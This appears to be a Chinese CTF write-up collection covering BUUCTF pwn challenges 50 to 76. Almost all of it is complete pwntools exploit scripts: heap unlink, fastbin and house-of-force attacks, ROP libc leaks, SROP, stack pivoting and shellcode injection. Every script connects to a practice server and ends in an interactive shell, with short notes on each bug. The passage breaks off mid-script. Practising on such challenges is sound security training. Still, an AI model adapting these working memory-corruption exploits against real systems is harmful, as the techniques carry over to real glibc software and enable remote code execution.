1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *p=remote("node4.buuoj.cn" ,29933 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./bamboobox" ) libc = ELF("./libc-2.23.so" ) atoi_got = elf.got['atoi' ] magic=0x400D49 def show (): p.recvuntil("Your choice:" ) p.sendline(str (1 )) def add (size,content ): p.recvuntil("Your choice:" ) p.sendline(str (2 )) p.recvuntil("Please enter the length of item name:" ) p.sendline(str (size)) p.recvuntil("Please enter the name of item:" ) p.sendline(content) def change (idx,content ): p.recvuntil("Your choice:" ) p.sendline(str (3 )) p.recvuntil("Please enter the index of item:" ) p.sendline(str (idx)) p.recvuntil("Please enter the length of item name:" ) p.sendline(str (len (content))) p.recvuntil("Please enter the new name of the item:" ) p.sendline(content) def free (idx ): p.recvuntil("Your choice:" ) p.sendline(str (4 )) p.recvuntil("Please enter the index of item:" ) p.sendline(str (idx)) target=0x6020C0 +8 add(0x30 ,"a" ) add(0x80 ,"b" ) add(0x30 ,"a" ) fd=target-0x18 bk=target-0x10 payload=p64(0 )+p64(0x30 ) payload+=p64(fd)+p64(bk) payload+="a" *0x10 payload+=p64(0x30 )+p64(0x90 ) change(0 , payload) free(1 ) payload=p64(0 )*3 +p64(atoi_got) change(0 , payload) show() atoi_addr = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) log.success(hex (atoi_addr)) libc_base = atoi_addr - libc.sym['atoi' ] system = libc_base + libc.sym['system' ] payload = p64(system) change(0 ,payload) p.recvuntil("Your choice:" ) p.sendline("/bin/sh\x00" ) p.interactive()
但是思路一样,开始我想用free,结果一直出问题,索性用了atoi。show函数会直接把got表给我们打印出来。
51.babyheap_0ctf_2017 http://liul14n.top/2020/03/02/0CTF-2017-babyheap/
unsorted bin只有一个的时候,fd指针和bk指针都会指向main_arena+88的地方,本题没有限制写入的size数量,不过也不存在uaf,因为本题用的不是malloc而是calloc,这个在初始化的时候会把所有的值归0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] context.os='linux' context.arch='amd64' elf = ELF("./babyheap_0ctf_2017" ) libc = ELF("./libc-2.23.so" ) one_gadget=0x4526a p=remote("node4.buuoj.cn" ,27333 ) def add (size ): p.recvuntil("Command: " ) p.sendline("1" ) p.recvuntil("Size: " ) p.sendline(str (size)) def fill (index,context ): p.recvuntil("Command: " ) p.sendline("2" ) p.recvuntil("Index: " ) p.sendline(str (index)) p.recvuntil("Size: " ) p.sendline(str (len (context))) p.recvuntil("Content: " ) p.sendline(context) def free (index ): p.recvuntil("Command: " ) p.sendline("3" ) p.recvuntil("Index: " ) p.sendline(str (index)) def dump (index ): p.recvuntil("Command: " ) p.sendline("4" ) p.recvuntil("Index: " ) p.sendline(str (index)) add(0x10 ) add(0x40 ) add(0x80 ) add(0x10 ) payload=0x10 *"a" +p64(0 )+p64(0x71 ) fill(0 ,payload) payload="a" *0x10 +p64(0 )+p64(0x61 ) fill(2 ,payload) free(1 ) add(0x60 ) payload="a" *0x40 +p64(0 )+p64(0x91 ) fill(1 ,payload) free(2 ) dump(1 ) p.recvuntil("Content: \n" ) main_arena = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) success("main_arena+88=" +hex (main_arena)) malloc_hook=main_arena-0x68 success("malloc_hook:" +hex (malloc_hook)) libc_base=malloc_hook-libc.sym['__malloc_hook' ] fake_chunk = malloc_hook - 0x23 free(1 ) payload="a" *0x10 +p64(0 )+p64(0x71 )+p64(fake_chunk)+p64(0 ) fill(0 ,payload) add(0x60 ) add(0x60 ) payload="a" *3 +p64(0 )+p64(0 )+p64(libc_base+one_gadget) fill(2 ,payload) add(0x30 ) p.interactive()
52.randy_sun_2016 这里是+=,所以需要减0x41,也就是A。然后调试过程中会发现dest[41]到dest[44]都需要写入,因为是cmp的dword。
本地可以打通,但是远程无法打通,建议跟着gdb自己调试
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import *p=remote("node4.buuoj.cn" ,25832 ) context.log_level='debug' success("1" ) p.recvuntil("DebugInfo: " ) flag = u32(p.recv(4 )[::-1 ])-0x41414141 p.recvuntil("\n" ) success("3" ) p.sendline(p32(flag)) success("4" ) p.interactive()
有时候会因为太小,减掉0x41之后失败,所以多测试几次。远程因为不给回显,直接让你输入,所以会攻击失败。
53.[ZJCTF 2019]EasyHeap 开了pie,有全局数组,直接判断是unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] context.os='linux' context.arch='amd64' elf = ELF("./easyheap" ) libc = ELF("./libc-2.23.so" ) p=remote("node4.buuoj.cn" ,26093 ) target=0x6020E0 system = elf.plt['system' ] free_got = elf.got['free' ] def add (size,context ): p.recvuntil("choice :" ) p.sendline("1" ) p.recvuntil("of Heap : " ) p.sendline(str (size)) p.recvuntil("Content of heap:" ) p.sendline(context) def fill (index,context ): p.recvuntil("choice :" ) p.sendline("2" ) p.recvuntil("Index :" ) p.sendline(str (index)) p.recvuntil("Size of Heap : " ) p.sendline(str (len (context))) p.recvuntil("Content of heap : " ) p.sendline(context) def free (index ): p.recvuntil("choice :" ) p.sendline("3" ) p.recvuntil("Index :" ) p.sendline(str (index)) add(0x30 ,"aaa" ) add(0x80 ,"aaa" ) add(0x30 ,"aaa" ) add(0x30 ,"aaa" ) fd=target - 0x18 bk=target - 0x10 payload=p64(0 )+p64(0x30 ) payload+=p64(fd)+p64(bk) payload+="a" *0x10 payload+=p64(0x30 )+p64(0x90 ) fill(0 ,payload) free(1 ) payload="a" *0x20 +p64(free_got) fill(0 ,payload) payload=p64(system) fill(1 ,payload) fill(2 ,'/bin/sh\x00' ) free(2 ) p.interactive()
house of spirit,伪造chunk到heaparray附近。-3是为了用7f伪造fastbin。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] context.os='linux' context.arch='amd64' elf = ELF("./easyheap" ) libc = ELF("./libc-2.23.so" ) p=remote("node4.buuoj.cn" ,28312 ) target=0x6020E0 system = elf.plt['system' ] free_got = elf.got['free' ] def add (size,context ): p.recvuntil("choice :" ) p.sendline("1" ) p.recvuntil("of Heap : " ) p.sendline(str (size)) p.recvuntil("Content of heap:" ) p.sendline(context) def fill (index,context ): p.recvuntil("choice :" ) p.sendline("2" ) p.recvuntil("Index :" ) p.sendline(str (index)) p.recvuntil("Size of Heap : " ) p.sendline(str (len (context))) p.recvuntil("Content of heap : " ) p.sendline(context) def free (index ): p.recvuntil("choice :" ) p.sendline("3" ) p.recvuntil("Index :" ) p.sendline(str (index)) add(0x60 ,"aaa" ) add(0x60 ,"aaa" ) add(0x60 ,"aaa" ) free(2 ) payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71 ) + p64(0x6020b0 -3 ) fill(1 ,payload) add(0x60 ,"aaa" ) add(0x60 ,"aaa" ) payload = 'a' * 3 + p64(0 ) * 4 + p64(free_got) fill(3 ,payload) payload = p64(elf.plt['system' ]) fill(0 ,payload) free(1 ) p.interactive()
54.wustctf2020_getshell 呃呃,这啥
1 2 3 4 5 6 from pwn import *p=remote("node4.buuoj.cn" ,26620 ) ee=0x804851B payload="a" *(0x18 +4 )+p32(ee) p.sendline(payload) p.interactive()
55.picoctf_2018_buffer overflow 1 呃呃,怎么连着两道
1 2 3 4 5 6 from pwn import *p=remote('node4.buuoj.cn' , 26452 ) backdoor=0x80485CB payload="a" *(0x28 +4 )+p32(backdoor) p.sendline(payload) p.interactive()
56.jarvisoj_test_your_memory 1 2 3 4 5 6 from pwn import *p=remote('node4.buuoj.cn' , 27957 ) system=0x8048440 payload="a" *(0x13 +4 )+p32(system)+p32(0x80487E0 )+p32(0x80487E0 ) p.sendline(payload) p.interactive()
57.picoctf_2018_buffer overflow 2 1 2 3 4 5 6 from pwn import *p=remote('node4.buuoj.cn' , 27216 ) system=0x080485CB payload="a" *(0x6c +4 )+p32(system)+p32(0 )+p32(0xDEADBEEF )+p32(0xDEADC0DE ) p.sendline(payload) p.interactive()
58.xdctf2015_pwn200 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn' , 25123 ) elf=ELF("./bof" ) vuln=0x80484D6 write_plt=elf.plt['write' ] write_got=elf.got['write' ] payload="a" *(0x6c +4 )+p32(write_plt)+p32(vuln)+p32(0 )+p32(write_got)+p32(4 ) p.recvuntil("Welcome to XDCTF2015~!\n" ) p.sendline(payload) write=u32(p.recvuntil('\xf7' )[-4 :]) success(hex (write)) libc=LibcSearcher("write" ,write) libc_base=write-libc.dump('write' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload="a" *(0x6c +4 )+p32(system)+p32(vuln)+p32(binsh) p.sendline(payload) p.interactive()
59.bbys_tu_2016 用cyclic计算偏移,直接看ida的不对。
1 2 3 4 5 6 7 from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn' , 25773 ) hack=0x804856D payload="a" *(24 )+p32(hack) p.sendline(payload) p.interactive()
60.mrctf2020_easyoverflow 1 2 3 4 5 from pwn import *p=remote('node4.buuoj.cn' , 27520 ) payload="a" *(0x30 )+"n0t_r3@11y_f1@g" p.sendline(payload) p.interactive()
61.wustctf2020_getshell_2 因为只给了写入两个地址的空间,所以用call system,写plt的话没地方写参数。
1 2 3 4 5 6 7 from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn' , 25514 ) call_system=0x08048529 payload="a" *(0x18 +4 )+p32(call_system)+p32(0x08048670 ) p.sendline(payload) p.interactive()
62.babyfengshui_33c3_2016 程序中有alarm,我们可以直接vim程序,修改alarm为isnan就可以patch掉alarm函数。
add函数,分配两个chunk,0x80的存储自己malloc的地址,还有name。name的末尾加\x00
。
edit函数的判断长度存在漏洞
由于这个判断的距离是两个chunk之间的距离,所以我们可以先申请个小的,等和0x80合并之后再申请一个大的,这样0x80和我们申请的chunk之间的距离就会变大。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] context.os='linux' context.arch='i386' elf = ELF("./babyfengshui_33c3_2016" ) libc = ELF("./libc-2.23.so" ) p=remote("node4.buuoj.cn" ,26361 ) def add (size,context,len ,text ): p.recvuntil("Action: " ) p.sendline("0" ) p.recvuntil("size of description: " ) p.sendline(str (size)) p.recvuntil("name: " ) p.sendline(context) p.recvuntil("text length: " ) p.sendline(str (len )) p.recvuntil("text: " ) p.sendline(text) def free (index ): p.recvuntil("Action: " ) p.sendline("1" ) p.recvuntil("index: " ) p.sendline(str (index)) def show (index ): p.recvuntil("Action: " ) p.sendline("2" ) p.recvuntil("index: " ) p.sendline(str (index)) def fill (index,len ,context ): p.recvuntil("Action: " ) p.sendline("3" ) p.recvuntil("index: " ) p.sendline(str (index)) p.recvuntil("text length: " ) p.sendline(str (len )) p.recvuntil("text: " ) p.sendline(context) add(0x80 ,"aaaa" ,0x80 ,"bbbb" ) add(0x80 ,"aaaa" ,0x80 ,"bbbb" ) add(0x80 ,"aaaa" ,0x80 ,"/bin/sh\x00" ) free(0 ) free_got = elf.got["free" ] payload="a" *(0x108 +8 +0x80 +8 )+p32(free_got) add(0x100 ,"aaaa" ,len (payload)+1 ,payload) show(1 ) free_addr=u32(p.recvuntil('\xf7' )[-4 :]) success(hex (free_addr)) libc=LibcSearcher("free" ,free_addr) libc_base=free_addr-libc.dump('free' ) system=libc_base+libc.dump('system' ) fill(1 ,0x20 ,p32(system)) free(2 ) p.interactive()
63.[ZJCTF 2019]Login 这个c++ pwn属实给我逆麻了,怎么比堆还难逆。
上来就把用户名和密码都给你了
输入用户密码会报错,但是可以发现密码是正确的,然后看反汇编会发现漏洞,有个call rax,因为是rdi传入的,所以去前面找函数的第一个参数是啥。
溯源可以发现是在password_checker函数里的返回值rbp+var_18
我们在read_password函数里可以发现我们写入的密码s和var_18的偏移,直接溢出后门函数即可。
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote("node4.buuoj.cn" ,27326 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] backdoor=0x400E88 payload="2jctf_pa5sw0rd" +"\x00" *58 +p64(backdoor) p.recvuntil("Please enter username: " ) p.sendline("admin" ) p.recvuntil("Please enter password: " ) p.sendline(payload) p.interactive()
64.jarvisoj_level1 32位保护全关,久违的ret2shellcode
1 2 3 4 5 6 7 8 9 from pwn import *p = remote("node4.buuoj.cn" ,28351 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] shellcode=asm(shellcraft.sh(),arch='i386' ,os='linux' ) buf=p.recvline()[12 :22 ] buf=int (buf,16 ) payload=shellcode+"a" *(0x88 +4 -len (shellcode))+p32(buf) p.sendline(payload) p.interactive()
buu经典,写完了发现他不给你回显,你不能recvline接收到东西,所以常规溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from LibcSearcher import *p = remote("node4.buuoj.cn" ,28351 ) context.log_level = 'debug' context.terminal = ['tmux' ,'splitw' ,'-h' ] write_plt=0x8048370 write_got=0x804A01C main=0x804847B payload=(0x88 +4 )*"a" +p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 ) p.sendline(payload) write=u32(p.recv(4 )) libc=LibcSearcher("write" ,write) libc_base=write-libc.dump('write' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) p.sendline("a" *(0x88 +4 )+p32(system)+p32(main)+p32(binsh)) p.interactive()
65.ciscn_2019_n_3 1 2 3 4 v3=records[index]=malloc (12 ) *v3=show() *(v3+4 )=free () *(v3+8 )=value
没清零,显而易见的uaf
考虑修改records[v0]+4的free地址改成system,records[v0]为binsh。然后使用double free利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] context.os='linux' context.arch='i386' elf = ELF("./ciscn_2019_n_3" ) libc = ELF("./libc-2.23.so" ) p=remote("node4.buuoj.cn" ,28800 ) system=elf.plt['system' ] def add (index,type ,size,text ): p.recvuntil("CNote > " ) p.sendline("1" ) p.recvuntil("Index > " ) p.sendline(str (index)) p.recvuntil("Type > " ) p.sendline(str (type )) if type ==2 : p.recvuntil("Length > " ) p.sendline(str (size)) p.recvuntil("Value > " ) p.sendline(text) else : p.recvuntil("Value > " ) p.sendline(str (text)) def free (index ): p.recvuntil("CNote > " ) p.sendline("2" ) p.recvuntil("Index > " ) p.sendline(str (index)) def show (index ): p.recvuntil("CNote > " ) p.sendline("3" ) p.recvuntil("Index > " ) p.sendline(str (index)) add(0 ,1 ,0 ,1 ) add(1 ,1 ,0 ,1 ) add(2 ,1 ,0 ,1 ) free(0 ) free(1 ) payload="sh\x00\x00" +p32(system) add(3 ,2 ,0xc ,payload) free(0 ) p.interactive()
66.ciscn_2019_s_4 栈迁移,和前面的一道题一模一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn' ,27496 ) elf=ELF('./ciscn_s_4' ) system=elf.plt['system' ] main=elf.symbols['main' ] leave=0x080484b8 p.recvuntil("name?" ) payload=b'a' *0x27 +b'b' p.send(payload) p.recvuntil('b' ) stack=u32(p.recv(4 )) success("stack: " + hex (stack)) esp=stack-0x38 payload=(p32(esp)+p32(system)+p32(main)+p32(esp+0x10 )+b'/bin/sh\x00' ).ljust(0x28 ,b'\x00' )+p32(esp)+p32(leave) p.send(payload) p.interactive()
67.hitcontraining_magicheap 无脑unlink
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn' , 27250 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] elf = ELF("./magicheap" ) libc = ELF("./libc-2.23.so" ) def add (size,context ): p.recvuntil("Your choice :" ) p.sendline("1" ) p.recvuntil("Heap : " ) p.sendline(str (size)) p.recvuntil("Content of heap:" ) p.sendline(context) def fill (index,content ): p.recvuntil("Your choice :" ) p.sendline("2" ) p.recvuntil("Index :" ) p.sendline(str (index)) p.recvuntil("Heap : " ) p.sendline(str (len (content))) p.recvuntil("Content of heap : " ) p.sendline(content) def free (index ): p.recvuntil("Your choice :" ) p.sendline("3" ) p.recvuntil("Index :" ) p.sendline(str (index)) heaparray=0x6020C0 hack=0x400C50 free_got=elf.got['free' ] system=elf.plt['system' ] add(0x30 ,"a" ) add(0x80 ,"a" ) add(0x30 ,"/bin/bash\x00" ) fd=heaparray - 0x18 bk=heaparray - 0x10 payload=p64(0 )+p64(0x30 ) payload+=p64(fd)+p64(bk) payload+="a" *0x10 payload+=p64(0x30 )+p64(0x90 ) success("hello" ) fill(0 , payload) success("hello2" ) free(1 ) payload="a" *0x18 +p64(free_got) fill(0 ,payload) fill(0 ,p64(system)) free(2 ) p.interactive()
68.gyctf_2020_borrowstack 栈迁移,有几个问题
不能用system,第二次的payload太长会报错。所以得用one_gadget。
需要把栈抬高,因为bss段离got表太近了,导致后面调用函数会覆盖got表,导致调用read函数失败,解决办法是栈迁移到高一点的地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] p=remote("node4.buuoj.cn" ,26962 ) elf=ELF("./gyctf_2020_borrowstack" ) leave=0x400699 bank=0x601080 pop_rdi=0x400703 puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=0x400626 payload="a" *0x60 +p64(bank)+p64(leave) p.recvuntil("Welcome to Stack bank,Tell me what you want\n" ) p.send(payload) payload=p64(0x00000000004004c9 )*20 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) p.recvuntil("Done!You can check and use your borrow stack now!\n" ) p.send(payload) puts_addr = u64(p.recvuntil("\x7f" ).ljust(8 ,"\x00" )) success(hex (puts_addr)) libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) system = libc_base + libc.dump('system' ) binsh = libc_base + libc.dump("str_bin_sh" ) payload="a" *0x68 +p64(libc_base+0x4526a ) p.recvuntil("Welcome to Stack bank,Tell me what you want\n" ) p.send(payload) payload="a" p.recvuntil("Done!You can check and use your borrow stack now!\n" ) p.sendline(payload) p.interactive()
69.wustctf2020_closed
close(0)关闭标准输入
close(1)关闭标准输出
close(2)关闭标准错误
shell 的内件命令exec执行命令时,不启用新的shell进程。它会把被执行命令替换当前的shell进程,并且将老进程的环境清理掉,而且exec命令后的其它命令将不再执行。
shell中描述符一共有12个:0 代表标准输入;1 代表标准输出;2 错误输出
这题不用写exp,直接执行 exec 1>&0
把标准输出重定位到标准输入,标准输入本来指向终端,也就是把标准输出也指向了终端。
70.hitcontraining_heapcreator create_heap函数会malloc两个堆块,一个存放size和malloc的指针,一个存放value
edit_heap函数存在一字节溢出,off by one漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] context.os='linux' context.arch='amd64' elf = ELF("./heapcreator" ) libc = ELF("./libc-2.23.so" ) free_got=elf.got['free' ] p=remote("node4.buuoj.cn" ,29588 ) def add (size,context ): p.recvuntil("choice :" ) p.sendline("1" ) p.recvuntil("Heap : " ) p.sendline(str (size)) p.recvuntil("heap:" ) p.sendline(context) def fill (index,context ): p.recvuntil("choice :" ) p.sendline("2" ) p.recvuntil("Index :" ) p.sendline(str (index)) p.recvuntil("heap : " ) p.sendline(context) def dump (index ): p.recvuntil("choice :" ) p.sendline("3" ) p.recvuntil("Index :" ) p.sendline(str (index)) def free (index ): p.recvuntil("choice :" ) p.sendline("4" ) p.recvuntil("Index :" ) p.sendline(str (index)) heaparray=0x6020A0 add(0x18 ,"aaaa" ) add(0x18 ,"aaaa" ) add(0x18 ,"aaaa" ) add(0x18 ,"/bin/sh\x00" ) fill(0 ,"a" *0x18 +p8(0x81 )) free(1 ) size = '\x08' .ljust(8 ,'\x00' ) payload="a" *0x40 +size+p64(free_got) add(0x70 ,payload) dump(2 ) free_addr = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) libc_base=free_addr-libc.sym['free' ] system=libc_base + libc.sym['system' ] fill(2 ,p64(system)) free(3 ) p.interactive()
71.roarctf_2019_easy_pwn
漏洞函数,存在off by one。
这题没有直接在chunk里存放指针,所以上题的思路行不通,我们可以使用unsorted bin泄漏地址达成目的。
另外此题不能用malloc_hook,栈条件不满足,需要使用ralloc_hook调整栈空间。
malloc_hook距离realloc_hook只有0x8
https://blog.csdn.net/Maxmalloc/article/details/102535427
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *from LibcSearcher import *context.terminal = ['tmux' ,'splitw' ,'-h' ] context.os='linux' context.arch='amd64' elf = ELF("./roarctf_2019_easy_pwn" ) libc = ELF("./libc-2.23.so" ) p=remote("node4.buuoj.cn" ,29285 ) def add (size ): p.recvuntil("choice: " ) p.sendline("1" ) p.recvuntil("size: " ) p.sendline(str (size)) def fill (index,size,context ): p.recvuntil("choice: " ) p.sendline("2" ) p.recvuntil("index: " ) p.sendline(str (index)) p.recvuntil("size: " ) p.sendline(str (size)) p.recvuntil("content: " ) p.sendline(context) def free (index ): p.recvuntil("choice: " ) p.sendline("3" ) p.recvuntil("index: " ) p.sendline(str (index)) def dump (index ): p.recvuntil("choice: " ) p.sendline("4" ) p.recvuntil("index: " ) p.sendline(str (index)) add(0x18 ) add(0x18 ) add(0x80 ) add(0x10 ) add(0x18 ) add(0x18 ) add(0x60 ) add(0x10 ) payload="a" *0x18 +p8(0x91 ) fill(0 ,0x18 +10 ,payload) payload="a" *0x68 +p64(0x21 ) fill(2 ,len (payload),payload) free(1 ) add(0x80 ) payload="a" *0x18 +p64(0x91 ) fill(1 ,len (payload),payload) free(2 ) dump(1 ) main_arena = u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) success("main_arena+88=" +hex (main_arena)) malloc_hook=main_arena-0x68 success("malloc_hook:" +hex (malloc_hook)) libc_base=malloc_hook-libc.sym['__malloc_hook' ] fake_chunk = malloc_hook - 0x23 one_gadget=libc_base+0x4526a realloc = libc_base + libc.symbols['__libc_realloc' ] add(0x80 ) payload=0x18 *"a" +p8(0x41 ) fill(4 ,0x18 +10 ,payload) payload=0x18 *"a" +p64(0x41 ) fill(6 ,len (payload),payload) free(5 ) add(0x38 ) payload="a" *0x18 +p64(0x71 ) fill(5 ,len (payload),payload) free(6 ) payload="a" *0x18 +p64(0x71 )+p64(fake_chunk) fill(5 ,len (payload),payload) add(0x60 ) add(0x60 ) payload="a" *(3 +8 )+p64(one_gadget)+p64(realloc+16 ) fill(8 ,len (payload),payload) add(0x30 ) p.interactive()
72.ciscn_2019_es_7 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *p=process("ciscn_2019_es_7" ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context(os='linux' ,arch='amd64' ,log_level='debug' ) syscall_ret=0x400517 sigreturn=0x4004DA execve=0x4004E2 read_addr=0x4004F1 payload="/bin/sh\x00" +"\x00" *8 +p64(read_addr) gdb.attach(p,"b *main" ) p.sendline(payload) p.recv(48 ) p.interactive()
栈地址偏移差了280
SROP
利用条件:
1.可以栈溢出(控制signal frame)
2.找到syscall地址
3.找到mov rax,oxf(即sigreturn的系统调用号)
4.获得栈上的地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p=remote('node4.buuoj.cn' ,29002 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context(os='linux' ,arch='amd64' ,log_level='debug' ) syscall_ret=0x400517 sigreturn=0x4004DA execve=0x4004E2 read_addr=0x4004F1 payload="/bin/sh\x00" +"\x00" *8 +p64(read_addr) p.sendline(payload) p.recv(32 ) stack_addr=u64(p.recv(8 ))-280 log.success("stack: " +hex (stack_addr)) p.recv(8 ) sigframe = SigreturnFrame() sigframe.rax = 59 sigframe.rdi = stack_addr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rip = syscall_ret p.sendline("/bin/sh\x00" +"\x00" *8 +p64(sigreturn)+p64(syscall_ret)+str (sigframe)) p.interactive()
73.picoctf_2018_shellcode call eax应该就是漏洞点,这段汇编蛮简单的。
挺好理解的,函数调用vuln后栈上这样子,然后ebp+8就是eax,加上后面会直接执行eax,此题又打开了nx,所以直接写入shellcode就行了。
1 2 3 4 5 esp ebp return address eax address
1 2 3 4 5 6 7 8 from pwn import *p=remote('node4.buuoj.cn' ,25271 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context(os='linux' ,arch='i386' ,log_level='debug' ) payload=asm(shellcraft.sh()) p.sendline(payload) p.interactive()
74.jarvisoj_level5 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p=remote('node4.buuoj.cn' ,28214 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context(os='linux' ,arch='amd64' ,log_level='debug' ) elf=ELF("level3_x64" ) libc=ELF("./libc-2.23.so" ) pop_rdi=0x4006b3 pop_rsi_r15=0x4006b1 write_plt=elf.plt['write' ] write_got=elf.got['write' ] vuln=0x4005E6 payload=(0x80 +8 )*"a" +p64(pop_rdi)+p64(0 )+p64(pop_rsi_r15)+p64(write_got)+p64(0 )+p64(write_plt)+p64(vuln) p.recvuntil("Input:\n" ) p.sendline(payload) write_addr=u64(p.recvuntil("\x7f" )[-6 :]+'\x00\x00' ) libc_base=write_addr-libc.sym['write' ] system=libc_base + libc.sym['system' ] binsh=libc_base + libc.search('/bin/sh' ).next () payload=(0x80 +8 )*"a" +p64(pop_rdi)+p64(binsh)+p64(system) p.recvuntil("Input:\n" ) p.sendline(payload) p.interactive()
75.cmcc_pwnme2 strcpy没做检测,直接溢出。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *from LibcSearcher import *p=remote('node4.buuoj.cn' ,25272 ) context.terminal = ['tmux' ,'splitw' ,'-h' ] context(os='linux' ,arch='i386' ,log_level='debug' ) elf=ELF("pwnme2" ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] main=elf.sym['main' ] payload="a" *(0x6c +4 )+p32(puts_plt)+p32(main)+p32(puts_got) p.recvuntil("Please input:" ) p.sendline(payload) puts_addr=u32(p.recvuntil("\xf7" )[-4 :]) libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) binsh=libc_base+libc.dump('str_bin_sh' ) system=libc_base+libc.dump('system' ) payload="a" *(0x6c +4 )+p32(system)+p32(main)+p32(binsh) p.recvuntil("Please input:" ) p.sendline(payload) p.interactive()
76.gyctf_2020_force house of force
可以看到malloc没有限制,然后可以获得chunk的地址,最后可以写入0x50的空间。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *r = remote("node4.buuoj.cn" , 27211 ) context.log_level = 'debug' elf = ELF("./gyctf_2020_force" ) libc = ELF('./libc-2.23.so' ) one_gadget_16 = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] def add (size, content ): r.recvuntil("2:puts\n" ) r.sendline('1' ) r.recvuntil("size\n" ) r.sendline(str (size)) r.recvuntil("bin addr " ) addr = int (r.recvuntil('\n' ).strip(), 16 ) r.recvuntil("content\n" ) r.send(content) return addr libc.address = add(0x200000 , 'chunk0\n' ) + 0x200ff0 success('libc_base' +hex (libc.address)) heap_addr = add(0x18 , 'a' *0x10 +p64(0 )+p64(0xFFFFFFFFFFFFFFFF )) success("heap_addr:" +hex (heap_addr)) top = heap_addr + 0x10 malloc_hook = libc.sym['__malloc_hook' ] success("malloc_hook" +hex (malloc_hook)) one_gadget = one_gadget_16[1 ] + libc.address realloc = libc.sym["__libc_realloc" ] system = libc.sym['system' ] success("system:" + hex (system)) bin_sh = libc.search('/bin/sh' 